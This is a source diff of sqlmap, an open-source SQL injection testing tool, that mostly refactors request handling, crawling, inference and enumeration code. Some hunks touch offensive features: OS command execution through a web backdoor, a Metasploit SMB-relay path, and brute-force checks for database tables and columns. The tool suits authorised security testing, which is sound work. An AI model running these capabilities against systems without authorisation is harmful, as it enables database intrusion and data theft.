@@ -425,12 +432,17 @@ def processResponse(page, responseHeaders, code=None, status=None):
for match in re.finditer(r"(?si)<form.+?</form>", page):
if re.search(r"(?i)captcha", match.group(0)):
kb.captchaDetected = True
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
break
if re.search(r"<meta[^>]+\brefresh\b[^>]+\bcaptcha\b", page):
kb.captchaDetected = True
if kb.captchaDetected:
warnMsg = "potential CAPTCHA protection mechanism detected"
if re.search(r"(?i)<title>[^<]*CloudFlare", page):
warnMsg += " (CloudFlare)"
singleTimeWarnMessage(warnMsg)
if re.search(BLOCKED_IP_REGEX, page):
warnMsg = "it appears that you have been blocked by the target server"
singleTimeWarnMessage(warnMsg)
+1
View File
@@ -12,6 +12,7 @@ class SmartHTTPBasicAuthHandler(_urllib.request.HTTPBasicAuthHandler):
Reference: http://selenic.com/hg/rev/6c51a5056020
Fix for a: http://bugs.python.org/issue8797
"""
def __init__(self, *args, **kwargs):
_urllib.request.HTTPBasicAuthHandler.__init__(self, *args, **kwargs)
self.retried_req = set()
+45 -20
View File
@@ -98,6 +98,7 @@ from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE
from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IS_WIN
from lib.core.settings import JAVASCRIPT_HREF_REGEX
from lib.core.settings import LARGE_READ_TRIM_MARKER
from lib.core.settings import MAX_CONNECTION_READ_SIZE
from lib.core.settings import MAX_CONNECTIONS_REGEX
@@ -118,6 +119,7 @@ from lib.core.settings import UNENCODED_ORIGINAL_VALUE
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import WARN_TIME_STDEV
from lib.core.settings import WEBSOCKET_INITIAL_TIMEOUT
from lib.request.basic import decodePage
from lib.request.basic import forgeHeaders
from lib.request.basic import processResponse
@@ -450,10 +452,25 @@ class Connect(object):
if webSocket:
ws = websocket.WebSocket()
ws.settimeout(timeout)
ws.settimeout(WEBSOCKET_INITIAL_TIMEOUT if kb.webSocketRecvCount is None else timeout)
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
ws.send(urldecode(post or ""))
page = ws.recv()
_page = []
if kb.webSocketRecvCount is None:
while True:
try:
_page.append(ws.recv())
except websocket.WebSocketTimeoutException:
kb.webSocketRecvCount = len(_page)
break
else:
for i in xrange(max(1, kb.webSocketRecvCount)):
_page.append(ws.recv())
page = "\n".join(_page)
ws.close()
code = ws.status
status = _http_client.responses[code]
@@ -549,7 +566,7 @@ class Connect(object):
code = None
responseHeaders = {}
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None
kb.connErrorCounter = 0
@@ -563,10 +580,17 @@ class Connect(object):
debugMsg = "got HTML meta refresh header"
logger.debug(debugMsg)
if not refresh:
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
if refresh:
debugMsg = "got Javascript redirect request"
logger.debug(debugMsg)
if refresh:
if kb.alwaysRefresh is None:
msg = "sqlmap got a refresh request "
msg += "(redirect like response common to login pages). "
msg = "got a refresh request "
msg += "(redirect like response common to login pages) to '%s'. " % refresh
msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]"
@@ -620,7 +644,7 @@ class Connect(object):
responseHeaders = ex.info()
responseHeaders[URI_HTTP_HEADER] = ex.geturl()
patchHeaders(responseHeaders)
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE), percentDecode=not crawling)
except socket.timeout:
warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % ex.code
@@ -690,7 +714,7 @@ class Connect(object):
else:
raise SqlmapConnectionException(warnMsg)
else:
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
debugMsg = "got HTTP error code: %d ('%s')" % (code, status)
logger.debug(debugMsg)
except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError):
@@ -839,7 +863,7 @@ class Connect(object):
@staticmethod
@stackedmethod
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False):
def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False, ignoreSecondOrder=False):
"""
This method calls a function to get the target URL page content
and returns its page ratio (0 <= ratio <= 1) or a boolean value
@@ -924,7 +948,7 @@ class Connect(object):
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
# payloads in SOAP/XML should have chars > and < replaced
# with their HTML encoded counterparts
payload = payload.replace('>', "&gt;").replace('<', "&lt;")
payload = payload.replace('&', "&amp;").replace('>', "&gt;").replace('<', "&lt;").replace('"', "&quot;").replace("'", "&apos;") # Reference: https://stackoverflow.com/a/1091953
elif kb.postHint == POST_HINT.JSON:
payload = escapeJsonValue(payload)
elif kb.postHint == POST_HINT.JSON_LIKE:
@@ -1339,17 +1363,18 @@ class Connect(object):
warnMsg += "behavior in custom WAF/IPS solutions"
singleTimeWarnMessage(warnMsg)
if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
def _(value):
if kb.customInjectionMark in (value or ""):
if payload is None:
value = value.replace(kb.customInjectionMark, "")
else:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
if not ignoreSecondOrder:
if conf.secondUrl:
page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""):
def _(value):
if kb.customInjectionMark in (value or ""):
if payload is None:
value = value.replace(kb.customInjectionMark, "")
else:
value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value)
return value
page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True)
threadData.lastQueryDuration = calculateDeltaSeconds(start)
+9 -2
View File
@@ -5,6 +5,7 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import time
from lib.core.agent import agent
@@ -43,8 +44,14 @@ def direct(query, content=True):
select = False
break
if select and not query.upper().startswith("SELECT "):
query = "SELECT %s" % query
if select:
if not query.upper().startswith("SELECT "):
query = "SELECT %s" % query
if conf.binaryFields:
for field in conf.binaryFields:
field = field.strip()
if re.search(r"\b%s\b" % re.escape(field), query):
query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query)
logger.log(CUSTOM_LOGGING.PAYLOAD, query)
+4 -4
View File
@@ -11,7 +11,6 @@ import socket
from lib.core.common import filterNone
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -27,6 +26,7 @@ except ImportError:
pass
_protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2"))
_lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_"))
class HTTPSConnection(_http_client.HTTPSConnection):
"""
@@ -50,7 +50,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"):
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"):
for protocol in [_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1]:
try:
sock = create_sock()
@@ -66,7 +66,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None
logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
if kb.tlsSNI.get(self.host) is None:
kb.tlsSNI[self.host] = success
@@ -86,7 +86,7 @@ class HTTPSConnection(_http_client.HTTPSConnection):
sock.close()
except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex:
self._tunnel_host = None
logger.debug("SSL connection error occurred ('%s')" % getSafeExString(ex))
logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex)))
if not success:
errMsg = "can't establish SSL connection"
+5 -4
View File
@@ -24,6 +24,7 @@ from lib.core.common import getTechniqueData
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import initTechnique
from lib.core.common import isDigit
from lib.core.common import isNoneValue
from lib.core.common import isNumPosStrValue
from lib.core.common import isTechniqueAvailable
@@ -109,7 +110,7 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','):
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
nulledCastedField = agent.nullAndCastField(field)
injExpression = expression.replace(field, nulledCastedField, 1)
else:
@@ -235,7 +236,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
elif choice == 'Q':
raise SqlmapUserQuitException
elif choice.isdigit() and int(choice) > 0 and int(choice) <= count:
elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
stopLimit = int(choice)
infoMsg = "sqlmap is now going to retrieve the "
@@ -246,7 +247,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
message = "how many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
if not isDigit(stopLimit):
errMsg = "invalid choice"
logger.error(errMsg)
@@ -261,7 +262,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char
return None
elif count and not count.isdigit():
elif count and not isDigit(count):
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
+2 -1
View File
@@ -5,6 +5,7 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import getText
from thirdparty.six.moves import urllib as _urllib
class MethodRequest(_urllib.request.Request):
@@ -13,7 +14,7 @@ class MethodRequest(_urllib.request.Request):
"""
def set_method(self, method):
self.method = method.upper()
self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!)
def get_method(self):
return getattr(self, 'method', _urllib.request.Request.get_method(self))
+4 -7
View File
@@ -10,7 +10,6 @@ import time
import types
from lib.core.common import getHostHeader
from lib.core.common import getSafeExString
from lib.core.common import logHTTPTraffic
from lib.core.common import readInput
from lib.core.convert import getUnicode
@@ -47,7 +46,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
def _ask_redirect_choice(self, redcode, redurl, method):
with kb.locks.redirect:
if kb.redirectChoice is None:
msg = "sqlmap got a %d redirect to " % redcode
msg = "got a %d redirect to " % redcode
msg += "'%s'. Do you want to follow? [Y/n] " % redurl
kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO
@@ -74,10 +73,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
try:
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
except Exception as ex:
dbgMsg = "there was a problem while retrieving "
dbgMsg += "redirect response content ('%s')" % getSafeExString(ex)
logger.debug(dbgMsg)
except: # e.g. IncompleteRead
content = ""
finally:
if content:
try: # try to write it back to the read buffer so we could reuse it in further steps
@@ -170,7 +167,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
threadData.lastRedirectURL = (threadData.lastRequestUID, redurl)
result.redcode = code
result.redurl = redurl
result.redurl = getUnicode(redurl)
return result
http_error_301 = http_error_303 = http_error_307 = http_error_302
+4 -3
View File
@@ -16,6 +16,7 @@ from lib.core.common import isStackingAvailable
from lib.core.common import readInput
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import AUTOCOMPLETE_TYPE
from lib.core.enums import DBMS
@@ -48,7 +49,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable():
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@@ -67,7 +68,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
retVal = self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable():
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
retVal = self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@@ -104,7 +105,7 @@ class Abstraction(Web, UDF, XP_cmdshell):
self.execCmd(cmd)
def shell(self):
if self.webBackdoorUrl and not isStackingAvailable():
if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
+5 -4
View File
@@ -23,6 +23,7 @@ from lib.core.common import dataToStdout
from lib.core.common import Backend
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import isDigit
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import pollProcess
@@ -154,7 +155,7 @@ class Metasploit(object):
choice = readInput(message, default="%d" % default)
if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1:
if not choice or not isDigit(choice) or int(choice) > maxValue or int(choice) < 1:
choice = default
choice = int(choice)
@@ -241,7 +242,7 @@ class Metasploit(object):
elif Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
break
elif not choice.isdigit():
elif not isDigit(choice):
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > 2:
@@ -692,9 +693,9 @@ class Metasploit(object):
self._runMsfCliSmbrelay()
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile)
self.uncPath = r"\\\\%s\\%s" % (self.lhostStr, self._randFile)
else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile)
self.uncPath = r"\\%s\%s" % (self.lhostStr, self._randFile)
debugMsg = "Metasploit Framework console exited with return "
debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
+2 -3
View File
@@ -11,6 +11,7 @@ from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import dataToStdout
from lib.core.common import isDigit
from lib.core.common import isStackingAvailable
from lib.core.common import readInput
from lib.core.common import unArrayizeValue
@@ -339,11 +340,9 @@ class UDF(object):
if choice == 'Q':
break
elif hasattr(choice, "isdigit") and choice.isdigit() and int(choice) > 0 and int(choice) <= len(udfList):
elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList):
choice = int(choice)
break
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
break
else:
warnMsg = "invalid value, only digits >= 1 and "
warnMsg += "<= %d are allowed" % len(udfList)
+2 -1
View File
@@ -22,6 +22,7 @@ from lib.core.common import getPublicTypeMembers
from lib.core.common import getSQLSnippet
from lib.core.common import getTechnique
from lib.core.common import getTechniqueData
from lib.core.common import isDigit
from lib.core.common import isTechniqueAvailable
from lib.core.common import isWindowsDriveLetterPath
from lib.core.common import normalizePath
@@ -200,7 +201,7 @@ class Web(object):
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
if not isDigit(choice):
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
+5
View File
@@ -37,6 +37,7 @@ from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapThreadException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import CHAR_INFERENCE_MARK
from lib.core.settings import INFERENCE_BLANK_BREAK
from lib.core.settings import INFERENCE_EQUALS_CHAR
@@ -425,6 +426,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
return None
else:
if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms()
raise SqlmapUnsupportedFeatureException(errMsg)
candidates = list(originalTbl)
bit = 0
while len(candidates) > 1:
+4
View File
@@ -38,6 +38,7 @@ from lib.core.settings import MIN_RATIO
from lib.core.settings import MIN_STATISTICAL_RANGE
from lib.core.settings import MIN_UNION_RESPONSES
from lib.core.settings import NULL
from lib.core.settings import ORDER_BY_MAX
from lib.core.settings import ORDER_BY_STEP
from lib.core.settings import UNION_MIN_RESPONSE_CHARS
from lib.core.settings import UNION_STDEV_COEFF
@@ -74,6 +75,9 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
if not conf.uCols and _orderByTest(highCols):
lowCols = highCols
highCols += ORDER_BY_STEP
if highCols > ORDER_BY_MAX:
break
else:
while not found:
mid = highCols - (highCols - lowCols) // 2
+1 -1
View File
@@ -123,7 +123,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
try:
decodeBase64(value)
except binascii.Error:
except (binascii.Error, TypeError):
base64 = False
break
+3 -1
View File
@@ -163,7 +163,7 @@ def tableExists(tableFile, regex=None):
if not threadData.shared.files:
warnMsg = "no table(s) found"
if conf.db:
warnMsg += "for database '%s'" % conf.db
warnMsg += " for database '%s'" % conf.db
logger.warn(warnMsg)
else:
for item in threadData.shared.files:
@@ -289,6 +289,8 @@ def columnExists(columnFile, regex=None):
for column in threadData.shared.files:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):
result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column)))
elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,):
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column)))
else:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column)))
+74 -35
View File
@@ -15,6 +15,7 @@ import time
from lib.core.common import checkSameHost
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult
from lib.core.common import findPageForms
from lib.core.common import getSafeExString
from lib.core.common import openFile
@@ -40,11 +41,15 @@ from thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup
from thirdparty.six.moves import http_client as _http_client
from thirdparty.six.moves import urllib as _urllib
def crawl(target):
def crawl(target, post=None, cookie=None):
if not target:
return
try:
visited = set()
threadData = getCurrentThreadData()
threadData.shared.value = OrderedSet()
threadData.shared.formsFound = False
def crawlThread():
threadData = getCurrentThreadData()
@@ -67,7 +72,7 @@ def crawl(target):
content = None
try:
if current:
content = Request.getPage(url=current, crawling=True, raise404=False)[0]
content = Request.getPage(url=current, post=post, cookie=None, crawling=True, raise404=False)[0]
except SqlmapConnectionException as ex:
errMsg = "connection exception detected ('%s'). skipping " % getSafeExString(ex)
errMsg += "URL '%s'" % current
@@ -92,7 +97,8 @@ def crawl(target):
soup = BeautifulSoup(content)
tags = soup('a')
tags += re.finditer(r'(?i)<a[^>]+href=["\'](?P<href>[^>"\']+)', content)
tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content)
tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content)
for tag in tags:
href = tag.get("href") if hasattr(tag, "get") else tag.group("href")
@@ -111,10 +117,10 @@ def crawl(target):
elif not _:
continue
if url.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS:
if (extractRegexResult(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS:
with kb.locks.value:
threadData.shared.deeper.add(url)
if re.search(r"(.*?)\?(.+)", url):
if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url):
threadData.shared.value.add(url)
except UnicodeEncodeError: # for non-HTML files
pass
@@ -122,7 +128,7 @@ def crawl(target):
pass
finally:
if conf.forms:
findPageForms(content, current, False, True)
threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0
if conf.verbose in (1, 2):
threadData.shared.count += 1
@@ -132,36 +138,44 @@ def crawl(target):
threadData.shared.deeper = set()
threadData.shared.unprocessed = set([target])
if not conf.sitemapUrl:
_ = re.sub(r"(?<!/)/(?!/).*", "", target)
if _:
if target.strip('/') != _.strip('/'):
threadData.shared.unprocessed.add(_)
if re.search(r"\?.*\b\w+=", target):
threadData.shared.value.add(target)
if kb.checkSitemap is None:
message = "do you want to check for the existence of "
message += "site's sitemap(.xml) [y/N] "
kb.checkSitemap = readInput(message, default='N', boolean=True)
if readInput(message, default='N', boolean=True):
found = True
items = None
url = _urllib.parse.urljoin(target, "/sitemap.xml")
try:
items = parseSitemap(url)
except SqlmapConnectionException as ex:
if "page not found" in getSafeExString(ex):
found = False
logger.warn("'sitemap.xml' not found")
except:
pass
finally:
if found:
if items:
for item in items:
if re.search(r"(.*?)\?(.+)", item):
threadData.shared.value.add(item)
if conf.crawlDepth > 1:
threadData.shared.unprocessed.update(items)
logger.info("%s links found" % ("no" if not items else len(items)))
if kb.checkSitemap:
found = True
items = None
url = _urllib.parse.urljoin(target, "/sitemap.xml")
try:
items = parseSitemap(url)
except SqlmapConnectionException as ex:
if "page not found" in getSafeExString(ex):
found = False
logger.warn("'sitemap.xml' not found")
except:
pass
finally:
if found:
if items:
for item in items:
if re.search(r"(.*?)\?(.+)", item):
threadData.shared.value.add(item)
if conf.crawlDepth > 1:
threadData.shared.unprocessed.update(items)
logger.info("%s links found" % ("no" if not items else len(items)))
infoMsg = "starting crawler"
if conf.bulkFile:
infoMsg += " for target URL '%s'" % target
logger.info(infoMsg)
if not conf.bulkFile:
infoMsg = "starting crawler for target URL '%s'" % target
logger.info(infoMsg)
for i in xrange(conf.crawlDepth):
threadData.shared.count = 0
@@ -188,13 +202,38 @@ def crawl(target):
clearConsoleLine(True)
if not threadData.shared.value:
warnMsg = "no usable links found (with GET parameters)"
logger.warn(warnMsg)
if not (conf.forms and threadData.shared.formsFound):
warnMsg = "no usable links found (with GET parameters)"
if conf.forms:
warnMsg += " or forms"
logger.warn(warnMsg)
else:
for url in threadData.shared.value:
kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None))
storeResultsToFile(kb.targets)
if kb.targets:
if kb.normalizeCrawlingChoice is None:
message = "do you want to normalize "
message += "crawling results [Y/n] "
kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True)
if kb.normalizeCrawlingChoice:
seen = set()
results = OrderedSet()
for target in kb.targets:
value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "")
match = re.search(r"/[^/?]*\?.+\Z", value)
if match:
key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
if '=' in key and key not in seen:
results.add(target)
seen.add(key)
kb.targets = results
storeResultsToFile(kb.targets)
def storeResultsToFile(results):
if not results:
+22 -2
View File
@@ -81,8 +81,8 @@ def checkDependencies():
missing_libraries.add('python-ntlm')
try:
__import__("websocket.ABNF")
debugMsg = "'python websocket-client' library is found"
__import__("websocket._abnf")
debugMsg = "'websocket-client' library is found"
logger.debug(debugMsg)
except ImportError:
warnMsg = "sqlmap requires 'websocket-client' third-party library "
@@ -91,6 +91,26 @@ def checkDependencies():
logger.warn(warnMsg)
missing_libraries.add('websocket-client')
try:
__import__("tkinter")
debugMsg = "'tkinter' library is found"
logger.debug(debugMsg)
except ImportError:
warnMsg = "sqlmap requires 'tkinter' library "
warnMsg += "if you plan to run a GUI"
logger.warn(warnMsg)
missing_libraries.add('tkinter')
try:
__import__("tkinter.ttk")
debugMsg = "'tkinter.ttk' library is found"
logger.debug(debugMsg)
except ImportError:
warnMsg = "sqlmap requires 'tkinter.ttk' library "
warnMsg += "if you plan to run a GUI"
logger.warn(warnMsg)
missing_libraries.add('tkinter.ttk')
if IS_WIN:
try:
__import__("pyreadline")
+4 -1
View File
@@ -680,6 +680,9 @@ def attackDumpedTable():
if len(table[column]["values"]) <= i:
continue
if conf.binaryFields and column in conf.binaryFields:
continue
value = table[column]["values"][i]
if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None:
@@ -1000,7 +1003,7 @@ def dictionaryAttack(attack_dict):
resumes.append((user, hash_, resumed))
keys.add(hash_)
except (binascii.Error, IndexError):
except (binascii.Error, TypeError, IndexError):
pass
if not attack_info:
+3 -1
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.common import isListLike
from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming
@@ -121,7 +123,7 @@ class Enumeration(GenericEnumeration):
colList = []
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
+2 -2
View File
@@ -14,7 +14,7 @@ except:
import logging
from lib.core.common import getSafeExString
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
@@ -58,7 +58,7 @@ class Connector(GenericConnector):
retVal = False
try:
self.cursor.execute(getBytes(query))
self.cursor.execute(getText(query))
retVal = True
except (pymssql.OperationalError, pymssql.ProgrammingError) as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " "))
+7 -5
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.agent import agent
from lib.core.common import arrayizeValue
from lib.core.common import getLimitRange
@@ -96,7 +98,7 @@ class Enumeration(GenericEnumeration):
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
@@ -119,7 +121,7 @@ class Enumeration(GenericEnumeration):
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
@@ -209,7 +211,7 @@ class Enumeration(GenericEnumeration):
singleTimeLogMessage(infoMsg)
continue
if conf.exclude and db in conf.exclude.split(','):
if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg)
continue
@@ -283,7 +285,7 @@ class Enumeration(GenericEnumeration):
colList = conf.col.split(',')
if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
origTbl = conf.tbl
origDb = conf.db
@@ -344,7 +346,7 @@ class Enumeration(GenericEnumeration):
if conf.excludeSysDbs and db in self.excludeDbsList:
continue
